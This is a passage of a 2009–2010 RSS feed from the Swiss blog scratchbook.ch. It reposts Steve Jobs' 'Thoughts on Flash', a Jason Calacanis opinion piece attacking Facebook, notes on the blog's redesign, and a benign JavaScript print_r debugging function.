href="http://scratchbook.ch/blinkentube/#winter-in-the-city">http://scratchbook.ch/blinkentube/#winter-in-the-city</a><br /> <a target="_blank" href="http://scratchbook.ch/blinkentube/#worm">http://scratchbook.ch/blinkentube/#worm</a><br /> <a target="_blank" href="http://scratchbook.ch/blinkentube/#x-ball">http://scratchbook.ch/blinkentube/#x-ball</a></p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2010/07/25/javascript-meets-blinkenlights/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>HTML5 and web standards</title><link>http://scratchbook.ch/2010/06/04/html5-and-web-standards/</link> <comments>http://scratchbook.ch/2010/06/04/html5-and-web-standards/#comments</comments> <pubDate>Fri, 04 Jun 2010 12:50:49 +0000</pubDate> <dc:creator>Longneck</dc:creator> <category><![CDATA[Apple]]></category> <category><![CDATA[Erfreulich]]></category> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/?p=7745</guid> <description><![CDATA[Every new Apple mobile device and every new Mac — along with the latest version of Apple’s Safari web browser — supports web standards including HTML5, CSS3, and JavaScript. These web standards are open, reliable, highly secure, and efficient. They allow web designers and developers to create advanced graphics, typography, animations, and transitions.
Standards aren’t add-ons [...]]]></description> <content:encoded><![CDATA[<p><img src="http://scratchbook.ch/wp-content/uploads/2010/06/apple-wwdc-2010-103-rm-eng.jpg" alt="" title="apple-wwdc-2010-103-rm-eng" width="600" height="398" class="alignnone size-full wp-image-7766" /></p><p><img src="http://scratchbook.ch/wp-content/uploads/2010/06/title_html5andthefuture.png" alt="" title="title_html5andthefuture" width="352" height="92" class="alignright size-full wp-image-7747" /></p><blockquote><p>Every new Apple mobile device and every new Mac — along with the latest version of Apple’s Safari web browser — supports web standards including HTML5, CSS3, and JavaScript. These web standards are open, reliable, highly secure, and efficient. They allow web designers and developers to create advanced graphics, typography, animations, and transitions.</p></blockquote><blockquote><p>Standards aren’t add-ons to the web. They are the web.<br /> And you can start using them today.</p></blockquote><p><a href="http://www.apple.com/html5/">http://www.apple.com/html5/</a></p><p><span id="more-7745"></span>Genial. Apple propagiert Webstandards und Steve Jobs hat einen Brief veröffentlicht; &#8220;<a href="http://www.apple.com/hotnews/thoughts-on-flash/">Thoughts on Flash</a>&#8220;:</p><blockquote><p>Apple has a long relationship with Adobe. In fact, we met Adobe’s founders when they were in their proverbial garage. Apple was their first big customer, adopting their Postscript language for our new Laserwriter printer. Apple invested in Adobe and owned around 20% of the company for many years. The two companies worked closely together to pioneer desktop publishing and there were many good times. Since that golden era, the companies have grown apart. Apple went through its near death experience, and Adobe was drawn to the corporate market with their Acrobat products. Today the two companies still work together to serve their joint creative customers – Mac users buy around half of Adobe’s Creative Suite products – but beyond that there are few joint interests.</p><p>I wanted to jot down some of our thoughts on Adobe’s Flash products so that customers and critics may better understand why we do not allow Flash on iPhones, iPods and iPads. Adobe has characterized our decision as being primarily business driven – they say we want to protect our App Store – but in reality it is based on technology issues. Adobe claims that we are a closed system, and that Flash is open, but in fact the opposite is true. Let me explain.</p><p>First, there’s “Open”.</p><p>Adobe’s Flash products are 100% proprietary. They are only available from Adobe, and Adobe has sole authority as to their future enhancement, pricing, etc. While Adobe’s Flash products are widely available, this does not mean they are open, since they are controlled entirely by Adobe and available only from Adobe. By almost any definition, Flash is a closed system.</p><p>Apple has many proprietary products too. Though the operating system for the iPhone, iPod and iPad is proprietary, we strongly believe that all standards pertaining to the web should be open. Rather than use Flash, Apple has adopted HTML5, CSS and JavaScript – all open standards. Apple’s mobile devices all ship with high performance, low power implementations of these open standards. HTML5, the new web standard that has been adopted by Apple, Google and many others, lets web developers create advanced graphics, typography, animations and transitions without relying on third party browser plug-ins (like Flash). HTML5 is completely open and controlled by a standards committee, of which Apple is a member.</p><p>Apple even creates open standards for the web. For example, Apple began with a small open source project and created WebKit, a complete open-source HTML5 rendering engine that is the heart of the Safari web browser used in all our products. WebKit has been widely adopted. Google uses it for Android’s browser, Palm uses it, Nokia uses it, and RIM (Blackberry) has announced they will use it too. Almost every smartphone web browser other than Microsoft’s uses WebKit. By making its WebKit technology open, Apple has set the standard for mobile web browsers.</p><p>Second, there’s the “full web”.</p><p>Adobe has repeatedly said that Apple mobile devices cannot access “the full web” because 75% of video on the web is in Flash. What they don’t say is that almost all this video is also available in a more modern format, H.264, and viewable on iPhones, iPods and iPads. YouTube, with an estimated 40% of the web’s video, shines in an app bundled on all Apple mobile devices, with the iPad offering perhaps the best YouTube discovery and viewing experience ever. Add to this video from Vimeo, Netflix, Facebook, ABC, CBS, CNN, MSNBC, Fox News, ESPN, NPR, Time, The New York Times, The Wall Street Journal, Sports Illustrated, People, National Geographic, and many, many others. iPhone, iPod and iPad users aren’t missing much video.</p><p>Another Adobe claim is that Apple devices cannot play Flash games. This is true. Fortunately, there are over 50,000 games and entertainment titles on the App Store, and many of them are free. There are more games and entertainment titles available for iPhone, iPod and iPad than for any other platform in the world.</p><p>Third, there’s reliability, security and performance.</p><p>Symantec recently highlighted Flash for having one of the worst security records in 2009. We also know first hand that Flash is the number one reason Macs crash. We have been working with Adobe to fix these problems, but they have persisted for several years now. We don’t want to reduce the reliability and security of our iPhones, iPods and iPads by adding Flash.</p><p>In addition, Flash has not performed well on mobile devices. We have routinely asked Adobe to show us Flash performing well on a mobile device, any mobile device, for a few years now. We have never seen it. Adobe publicly said that Flash would ship on a smartphone in early 2009, then the second half of 2009, then the first half of 2010, and now they say the second half of 2010. We think it will eventually ship, but we’re glad we didn’t hold our breath. Who knows how it will perform?</p><p>Fourth, there’s battery life.</p><p>To achieve long battery life when playing video, mobile devices must decode the video in hardware; decoding it in software uses too much power. Many of the chips used in modern mobile devices contain a decoder called H.264 – an industry standard that is used in every Blu-ray DVD player and has been adopted by Apple, Google (YouTube), Vimeo, Netflix and many other companies.</p><p>Although Flash has recently added support for H.264, the video on almost all Flash websites currently requires an older generation decoder that is not implemented in mobile chips and must be run in software. The difference is striking: on an iPhone, for example, H.264 videos play for up to 10 hours, while videos decoded in software play for less than 5 hours before the battery is fully drained.</p><p>When websites re-encode their videos using H.264, they can offer them without using Flash at all. They play perfectly in browsers like Apple’s Safari and Google’s Chrome without any plugins whatsoever, and look great on iPhones, iPods and iPads.</p><p>Fifth, there’s Touch.</p><p>Flash was designed for PCs using mice, not for touch screens using fingers. For example, many Flash websites rely on “rollovers”, which pop up menus or other elements when the mouse arrow hovers over a specific spot. Apple’s revolutionary multi-touch interface doesn’t use a mouse, and there is no concept of a rollover. Most Flash websites will need to be rewritten to support touch-based devices. If developers need to rewrite their Flash websites, why not use modern technologies like HTML5, CSS and JavaScript?</p><p>Even if iPhones, iPods and iPads ran Flash, it would not solve the problem that most Flash websites need to be rewritten to support touch-based devices.</p><p>Sixth, the most important reason.</p><p>Besides the fact that Flash is closed and proprietary, has major technical drawbacks, and doesn’t support touch based devices, there is an even more important reason we do not allow Flash on iPhones, iPods and iPads. We have discussed the downsides of using Flash to play video and interactive content from websites, but Adobe also wants developers to adopt Flash to create apps that run on our mobile devices.</p><p>We know from painful experience that letting a third party layer of software come between the platform and the developer ultimately results in sub-standard apps and hinders the enhancement and progress of the platform. If developers grow dependent on third party development libraries and tools, they can only take advantage of platform enhancements if and when the third party chooses to adopt the new features. We cannot be at the mercy of a third party deciding if and when they will make our enhancements available to our developers.</p><p>This becomes even worse if the third party is supplying a cross platform development tool. The third party may not adopt enhancements from one platform unless they are available on all of their supported platforms. Hence developers only have access to the lowest common denominator set of features. Again, we cannot accept an outcome where developers are blocked from using our innovations and enhancements because they are not available on our competitor’s platforms.</p><p>Flash is a cross platform development tool. It is not Adobe’s goal to help developers write the best iPhone, iPod and iPad apps. It is their goal to help developers write cross platform apps. And Adobe has been painfully slow to adopt enhancements to Apple’s platforms. For example, although Mac OS X has been shipping for almost 10 years now, Adobe just adopted it fully (Cocoa) two weeks ago when they shipped CS5. Adobe was the last major third party developer to fully adopt Mac OS X.</p><p>Our motivation is simple – we want to provide the most advanced and innovative platform to our developers, and we want them to stand directly on the shoulders of this platform and create the best apps the world has ever seen. We want to continually enhance the platform so developers can create even more amazing, powerful, fun and useful applications. Everyone wins – we sell more devices because we have the best apps, developers reach a wider and wider audience and customer base, and users are continually delighted by the best and broadest selection of apps on any platform.</p><p>Conclusions.</p><p>Flash was created during the PC era – for PCs and mice. Flash is a successful business for Adobe, and we can understand why they want to push it beyond PCs. But the mobile era is about low power devices, touch interfaces and open web standards – all areas where Flash falls short.</p><p>The avalanche of media outlets offering their content for Apple’s mobile devices demonstrates that Flash is no longer necessary to watch video or consume any kind of web content. And the 200,000 apps on Apple’s App Store proves that Flash isn’t necessary for tens of thousands of developers to create graphically rich applications, including games.</p><p>New open standards created in the mobile era, such as HTML5, will win on mobile devices (and PCs too). Perhaps Adobe should focus more on creating great HTML5 tools for the future, and less on criticizing Apple for leaving the past behind.</p><p>Steve Jobs<br /> April, 2010</p></blockquote> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2010/06/04/html5-and-web-standards/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Stop Facebook, Save the World!</title><link>http://scratchbook.ch/2010/05/12/stop-facebook-save-the-world/</link> <comments>http://scratchbook.ch/2010/05/12/stop-facebook-save-the-world/#comments</comments> <pubDate>Wed, 12 May 2010 11:39:26 +0000</pubDate> <dc:creator>Longneck</dc:creator> <category><![CDATA[Pfeifferisches Menschenfieber]]></category> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/?p=7606</guid> <description><![CDATA[Overplaying your hand
=================
The biggest mistake most new players make at poker is overplaying
their hand. They spend so much time thinking of the ways they can win
that they forget all the ways they can lose. Overplaying hands can
affect even the most seasoned players, especially after they’ve won a
couple of hands in a row.
Over the past month, [...]]]></description> <content:encoded><![CDATA[<p>Overplaying your hand<br /> =================<br /> The biggest mistake most new players make at poker is overplaying<br /> their hand. They spend so much time thinking of the ways they can win<br /> that they forget all the ways they can lose. Overplaying hands can<br /> affect even the most seasoned players, especially after they’ve won a<br /> couple of hands in a row.</p><p>Over the past month, Mark Zuckerberg, the hottest new card player in<br /> town, has overplayed his hand. Facebook is officially “out,” as in<br /> uncool, amongst partners, parents and pundits all coming to the<br /> realization that Zuckerberg and his company are–simply put–not<br /> trustworthy.</p><p><span id="more-7606"></span>Casual gaming company Zynga is reportedly developing plans to get over<br /> their Facebook dependency. I predict a complete heads-up match with<br /> Facebook–Zynga’s now been double-crossed not once but twice by<br /> Zuckerberg. (The first double-cross was when Facebook stopped letting<br /> applications like Farmville easily market themselves on profile<br /> pages.) Instead, Zynga and others were told to advertise their apps if<br /> they wanted distribution. OK, I’m guessing that evaporates 20-35% of<br /> an app developer’s margin.</p><p>Now, Facebook is reportedly forcing developers to use their virtual<br /> currency–for a 30% cut. These two moves have to take at least 50% of<br /> the margin out of Zynga’s business.</p><p>Last year, when I realized that Zuckerberg was an amoral,<br /> Asperger’s-like entrepreneur, I told Zynga CEO Mark Pincus that<br /> Zuckerberg would try and slit his throat. I knew this because I<br /> watched Zuckerberg screw over his users again and again in terms of<br /> privacy, and I heard about the stories of him screwing over his former<br /> employers at ConnectU and his early partners at Facebook.</p><p>The money quote from Business Insider’s scoop comes from Zuckerberg<br /> himself: “they made a mistake haha. They asked me to make it for them.<br /> So I’m like delaying it so it won’t be ready until after the facebook<br /> thing comes out.” He stalled and sandbagged ConnectU–then<br /> Zuckerpunched them! Of course, the person he said this to was his<br /> partner–Eduardo Saverin–who he reportedly screwed as well.</p><p>Read all here: <a href="http://bit.ly/bmRip3">http://bit.ly/bmRip3</a></p><p>Add to all this that Zuckerberg was stealing every tiny innovation the<br /> second Evan Williams and the team over at Twitter released it, and<br /> Zuckerberg is clearly the worst thing that’s happened to our industry<br /> since, well, spam.</p><p>You’re Zucked!<br /> =================<br /> Yes, that’s the new catch phrase for when someone either steals your<br /> business idea or screws you as a business partner.</p><p>Who’s been Zucked and how? Let’s take a look back:</p><p>1. FourSquare was Zucked when Facebook stole their check-in feature.<br /> 2. Twitter was Zucked when Facebook stole their public facing profiles.<br /> 3. Facebook users got Zucked when the site flipped their privacy<br /> setting–three different times!<br /> 4. The co-founder of Facebook was allegedly Zucked when he was kicked<br /> out of the company he helped found.<br /> 5. The founders of ConnectU got Zucked when he allegedly screwed them<br /> over by not delivering their social network and then launching<br /> Facebook at the same time–and joked about it!<br /> 6. Harvard reporters reportedly got Zucked when Mark hacked their<br /> accounts to try and stop a negative story/investigation about him.</p><p>You can only screw people for so long before it catches up to you. The<br /> entire industry went from rooting for Zuckerberg to hating him and<br /> Facebook–in under 18 months.</p><p>Peter Rojas and Matt Cutts have turned off their Facebook pages, and<br /> more intelligent people everywhere are talking about doing so.</p><p>Zuckerberg represents the best and worst aspects of entrepreneurship.<br /> His drive, skill and fearlessness are only matched by his long<br /> record–recorded in lawsuit after lawsuit–of backstabbing, stealing<br /> and cheating.</p><p>A look at last week’s headlines shows the trend:</p><p>Facebook’s Eroding Privacy Policy: A Timeline<br /> <a href="http://www.eff.org/deeplinks/2010/04/facebook-timeline">http://www.eff.org/deeplinks/2010/04/facebook-timeline</a></p><p>Top Ten Reasons You Should Quit Facebook<br /> <a href="http://gizmodo.com/5530178/top-ten-reasons-you-should-quit-facebook">http://gizmodo.com/5530178/top-ten-reasons-you-should-quit-facebook</a></p><p>Yet another Facebook privacy risk: emails Facebook sends leak user IP address<br /> <a href="http://www.boingboing.net/2010/05/07/yet-another-privacy.html">http://www.boingboing.net/2010/05/07/yet-another-privacy.html</a></p><p>A Stunning Infographic on Facebook’s scary privacy evolution<br /> <a href="http://mattmckeon.com/facebook-privacy/">http://mattmckeon.com/facebook-privacy/</a></p><p>Facebook’s “Posts By Everyone” Feature: Do People Realize They’re<br /> Sharing To The World?<br /> <a href="http://selnd.com/96avG4">http://selnd.com/96avG4</a></p><p>Facebook’s Gone Rogue; It’s Time for an Open Alternative | Epicenter |<br /> Wired.com<br /> <a href="http://bit.ly/aoNxf0">http://bit.ly/aoNxf0</a></p><p>Senators Call Out Facebook On ‘Instant Personalization’, Other Privacy Issues<br /> <a href="http://tcrn.ch/907D27">http://tcrn.ch/907D27</a></p><p>Facebook’s email days: “I’m CEO bith@#$%!”<br /> <a href="http://bit.ly/ba5wRY">http://bit.ly/ba5wRY</a></p><p>Facebook’s new features secretly add apps to your profile<br /> <a href="http://bit.ly/bHXpH5">http://bit.ly/bHXpH5</a></p><p>The Day Facebook Stole My Page<br /> <a href="http://bit.ly/ar4A4As">http://bit.ly/ar4A4As</a></p><p>Facebook is Dying – Social is Not<br /> <a href="http://bit.ly/atwbzX">http://bit.ly/atwbzX</a></p><p>Facebook’s “Evil Interfaces” | Electronic Frontier Foundation<br /> <a href="http://bit.ly/9ww6g3">http://bit.ly/9ww6g3</a></p><p>I’m not making this up people.</p><p>The Stakes<br /> ==================<br /> We’ve fought for years to create an open web, and we would be crazy to<br /> give our future over to a selfish little kid who has no problem<br /> stealing any innovation he catches from the corner of his eye from<br /> other entrepreneurs.</p><p>Didn’t anyone read “Tom Sawyer”? We’re whitewashing Zuckerberg’s fence.</p><p>People are creating fan pages on Facebook and then paying Facebook to<br /> send them traffic. Let me explain this one more time: You’re PAYING<br /> Mark Zuckerberg money to send traffic to HIS SITE. Think about it.</p><p>Oh yeah, and while he’s taking your money and page views, he’s<br /> convincing everyone that they don’t need their own customer’s<br /> information: Just use Facebook Connect!</p><p>Oh yeah, and if you’re stupid enough to give up your customer database<br /> to Facebook, he will pay you back by screwing over your user’s<br /> privacy! Yes, that’s right: give up your customer database, pay for<br /> traffic to build Facebook’s page views and, by the way, if you would<br /> like to use a virtual currency, Zuck will take 30% of that as well!</p><p>Are we blind? It’s a trap! It’s a trap!</p><p>Zuckerberg’s crowning achievement is, of course, to show his utter<br /> disdain and contempt for the industry by not only claiming–but<br /> naming–his master plan “The Open Graph.”</p><p>An alternate path<br /> ==================<br /> There a people and organizations in our industry–heck, our<br /> world–that believe in being fair and respectful to competitors and<br /> consumers alike. They don’t see the need to reverse open standards.<br /> Rather, they embrace and expand them. Facebook is not good for our<br /> industry, and as talented as Zuckerberg is, he is hopelessly misguided<br /> and has a horrible ethics problem.</p><p>The Internet is the fastest growing medium–heck “thing”–in history<br /> because it was designed to be open and fair. If you have a level<br /> playing field people can invest in it. That is why the United States<br /> has been such an amazing place to invest in a business and places run<br /> by dictators are not. At any point your investment in Facebook can be<br /> taken from you. At any point they can change the rules, and history<br /> shows that dictators tend to changes rules in their favor–not the<br /> other way around.</p><p>Facebook taking people’s topic pages out from under them or their<br /> forcing folks into their virtual currency is no different than a<br /> dictator in a 3rd world country telling an outside investor who just<br /> spent millions putting in wireless phone network that their taxes have<br /> just doubled–conveniently to a level that is almost exactly their<br /> profit margin.</p><p>Anyone who trusts Facebook to do the right thing for the industry,<br /> their customers or their application partners simply needs to look at<br /> their history. Remember Frank’s First Rule from “Scarface”: “Lesson<br /> number one: Don’t underestimate the other guy’s greed!”</p><p>The Web and HTML grew into the juggernaut they are today because<br /> they’re based on open standards that everyone can buy into. No one<br /> player has control or dominance over anyone else. Facebook’s very<br /> obvious goal is to use the their social graph dominance to control the<br /> future of advertising and attention on the Web. Why on Earth are we<br /> supporting this?</p><p>The Social Graph will only reach its potential if it is truly<br /> open–not controlled by a spoiled little kid with questionable ethics.</p><p>It’s time for the good people of the world to stand up against<br /> Facebook. It’s time to build and support OpenID and the creation of an<br /> truly open social graph. It’s time to force Facebook to allow open<br /> data portability. It is our data, after all. The road map for the open<br /> web has been laid out and supported by the “good guys/gals” at OpenID,<br /> Google, Twitter, Open Social and countless others who don’t feel the<br /> need to control the industry and manipulate our customers.</p><p>The more we feed the monster that is Facebook, the more we lose.</p><p>A Facebook Boycott?<br /> ====================<br /> I’d call for a boycott of Facebook, but they’ve actually beaten me to it!</p><p>The enthusiasm for Facebook has soured with early adopters, Facebook’s<br /> biggest partners and the French all pilling on. (Hey, you’re nobody<br /> until the French hate you, right?).</p><p>In the words of Warren Buffet, “Look for three qualities: integrity,<br /> intelligence, and energy. And if they don’t have the first, the other<br /> two will kill you.”</p><p>Facebook has been overplaying hands for a long time and there is a<br /> chance they might now get felted.</p><p>Stop Facebook, Save the World!</p><p>best regards,</p><p>Jason</p><p>PS – You may have read on TechCrunch that Mike Arrington and I have<br /> parted ways and that the TechCrunch50 conference is over–dead! It’s<br /> true… tear drop!  However, I’m starting a new conference called<br /> the Launch Conference which will debut in early 2011. It will be the<br /> same exact as TechCrunch50, except I’m going invest all the profits<br /> from it in the companies that present. More at<br /> www.thelaunchconference.com as it becomes available. It will be epic,<br /> and you will be attending. <img src='http://scratchbook.ch/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></p><p>PSS – If you want to go to Mike Arrington’s new version of TechCrunch<br /> 50 it is called TechCrunch Disrupt–and I will be speaking at it! You<br /> can signup with a 10% discount at this Jason Nation link:<br /> <a href="http://bit.ly/aSfWxm">http://bit.ly/aSfWxm</a></p><p>PSS – Open Angel Forum is coming to Boston, London and Seattle in 2010<br /> thanks two our two national sponsors Symantec and Silicon Valley Bank.<br /> If you have suggestions for angel investors please email boston at<br /> <a href="openangelforum.com">openangelforum.com</a> (or london@ or seattle@ etc).</p><p>PSSS – Had a great interview with Joel Spolsky of Joel on<br /> Software/StackOverflow fame last week. You can watch it here:<br /> <a href="http://bit.ly/b8PDAX">http://bit.ly/b8PDAX</a></p><p>(<a href="http://calacanis.com/2010/05/12/the-big-game-zuckerberg-and-overplaying-your-hand/">Quelle</a>)</p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2010/05/12/stop-facebook-save-the-world/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Das neue alte Kritzelbuch</title><link>http://scratchbook.ch/2010/01/15/das-neue-alte-kritzelbuch/</link> <comments>http://scratchbook.ch/2010/01/15/das-neue-alte-kritzelbuch/#comments</comments> <pubDate>Fri, 15 Jan 2010 00:00:00 +0000</pubDate> <dc:creator>Longneck</dc:creator> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/?p=6933</guid> <description><![CDATA[JA!!
Es ist wieder da.
Das Original Scratchbook-Design.
Wie Anno dazumal, als ich es 2005 als mein erstes grosses PHP-Projekt ins Netz stellte.
Damals noch mit Tabellenlayout
Doch jetzt kommt es als Wordpress Template daher, tabellenlos, XHTML 1.0 Strict. Das Original Design, fein aufgebohrt und wieder komplett in Deutsch.
Dieses typische Scratchbook-Design strahlt einen Charme aus mit seinen Sandpapiertagebuchfarben. [...]]]></description> <content:encoded><![CDATA[<h2>JA!!</h2><p>Es ist wieder da.</p><p>Das Original Scratchbook-Design.</p><p>Wie Anno dazumal, als ich es 2005 als mein erstes grosses PHP-Projekt ins Netz stellte.<br /> Damals noch mit Tabellenlayout <img src='http://scratchbook.ch/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /></p><p>Doch jetzt kommt es als Wordpress Template daher, tabellenlos, XHTML 1.0 Strict. Das Original Design, fein aufgebohrt und wieder komplett in Deutsch.</p><p>Dieses typische Scratchbook-Design strahlt einen Charme aus mit seinen Sandpapiertagebuchfarben. Jaa, genau so war&#8217;s als ich angefangen habe. Nostalgie!<br /> Ausserdem: Die Schrift ist lesbar und sieht toll aus. Mir gefällt&#8217;s einfach, und viele Leute seufzten sehnsüchtig, als ich bei einer Convention Bilder vom alten (diesem) Design zeigte.<br /> Nein &#8211; davon wollen wir uns nicht trennen!</p><p>Ausserdem gibt&#8217;s noch ein paar Extras:</p><p><kbd>Ctrl</kbd><kbd>Alt</kbd><kbd>Delete</kbd></p><p><code>Broadcast message from root (pts/0) (Thu Jan 14 01:07:53 2010):<br /> The system is going down for reboot NOW!<br /> </code></p><p>Das waren keine Bilder, sondern neue CSS-Styles! <img src='http://scratchbook.ch/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /></p><div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;kbd&gt;Rockt.&lt;/kbd&gt;
&nbsp;
&lt;code&gt;Hello World.
Again.&lt;/code&gt;</pre></div></div><p><kbd>Rockt.</kbd></p><p><code>Hello World.<br /> Again.</code></p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2010/01/15/das-neue-alte-kritzelbuch/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> <item><title>Da ist eine Katze im Sack&#8230;</title><link>http://scratchbook.ch/2010/01/13/da-ist-eine-katze-im-sack/</link> <comments>http://scratchbook.ch/2010/01/13/da-ist-eine-katze-im-sack/#comments</comments> <pubDate>Wed, 13 Jan 2010 20:07:49 +0000</pubDate> <dc:creator>Longneck</dc:creator> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/?p=6922</guid> <description><![CDATA[
Ich verrat&#8217; euch aber noch nichts. Ihr ahnt es bereits&#8230;
Es hat mich gepackt. Und ich bin dran.
]]></description> <content:encoded><![CDATA[<p><img src="http://scratchbook.ch/wp-content/uploads/2010/01/gluschtig-mache.png" alt="" title="gluschtig-mache" width="347" height="116" class="alignnone size-full wp-image-6923" /></p><p>Ich verrat&#8217; euch aber noch nichts. Ihr ahnt es bereits&#8230;</p><p>Es hat mich gepackt. Und ich bin dran.</p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2010/01/13/da-ist-eine-katze-im-sack/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>print_r für Javascript</title><link>http://scratchbook.ch/2009/07/11/print_r-fur-javascript/</link> <comments>http://scratchbook.ch/2009/07/11/print_r-fur-javascript/#comments</comments> <pubDate>Sat, 11 Jul 2009 12:29:04 +0000</pubDate> <dc:creator>Longneck</dc:creator> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/?p=6276</guid> <description><![CDATA[Die Funktion, die ich bei Javascript am meisten vermisst habe, ist das PHP-Equivalent &#8220;print_r&#8221; &#8211; einfach mal den Inhalt von Objekten schön darstellen.
Es gibt im Netz schon eine Version &#8211; aber deren Ausgabe sieht nicht genau so aus wie bei PHP. Deshalb hier meine Version mit kleinen Modifikationen:/**
* PHP. Javascript. Print_r. Nice. Object. Dumper.
[...]]]></description> <content:encoded><![CDATA[<p>Die Funktion, die ich bei Javascript am meisten vermisst habe, ist das PHP-Equivalent &#8220;print_r&#8221; &#8211; einfach mal den Inhalt von Objekten schön darstellen.</p><p>Es gibt im Netz schon eine Version &#8211; aber deren Ausgabe sieht nicht genau so aus wie bei PHP. Deshalb hier meine Version mit kleinen Modifikationen:</p><div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">/**
 * PHP. Javascript. Print_r. Nice. Object. Dumper.
 * Original. Code: http://www.openjs.com/scripts/others/dump_function_php_print_r.php
 * Modified. By. Claude. Hohl. Namics.
 */</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> print_r<span style="color: #009900;">&#40;</span>arr<span style="color: #339933;">,</span> level<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #003366; font-weight: bold;">var</span> dumped_text <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>level<span style="color: #009900;">&#41;</span> level <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #006600; font-style: italic;">//The padding given at the beginning of the line.</span>
	<span style="color: #003366; font-weight: bold;">var</span> level_padding <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #003366; font-weight: bold;">var</span> bracket_level_padding <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> j <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> j <span style="color: #339933;">&lt;</span> level <span style="color: #339933;">+</span> <span style="color: #CC0000;">1</span><span style="color: #339933;">;</span> j<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> level_padding <span style="color: #339933;">+=</span> <span style="color: #3366CC;">&quot;    &quot;</span><span style="color: #339933;">;</span>
	<span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> b <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> b <span style="color: #339933;">&lt;</span> level<span style="color: #339933;">;</span> b<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> bracket_level_padding <span style="color: #339933;">+=</span> <span style="color: #3366CC;">&quot;    &quot;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">typeof</span><span style="color: #009900;">&#40;</span>arr<span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #3366CC;">'object'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #006600; font-style: italic;">//Array/Hashes/Objects </span>
		dumped_text <span style="color: #339933;">+=</span> <span style="color: #3366CC;">&quot;Array<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		dumped_text <span style="color: #339933;">+=</span> bracket_level_padding <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;(<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> <span style="color: #000066; font-weight: bold;">item</span> <span style="color: #000066; font-weight: bold;">in</span> arr<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
			<span style="color: #003366; font-weight: bold;">var</span> value <span style="color: #339933;">=</span> arr<span style="color: #009900;">&#91;</span><span style="color: #000066; font-weight: bold;">item</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
			<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">typeof</span><span style="color: #009900;">&#40;</span>value<span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #3366CC;">'object'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #006600; font-style: italic;">//If it is an array,</span>
				dumped_text <span style="color: #339933;">+=</span> level_padding <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;[&quot;</span> <span style="color: #339933;">+</span> <span style="color: #000066; font-weight: bold;">item</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;] =&gt; &quot;</span><span style="color: #339933;">;</span>
				dumped_text <span style="color: #339933;">+=</span> print_r<span style="color: #009900;">&#40;</span>value<span style="color: #339933;">,</span> level <span style="color: #339933;">+</span> <span style="color: #CC0000;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span>
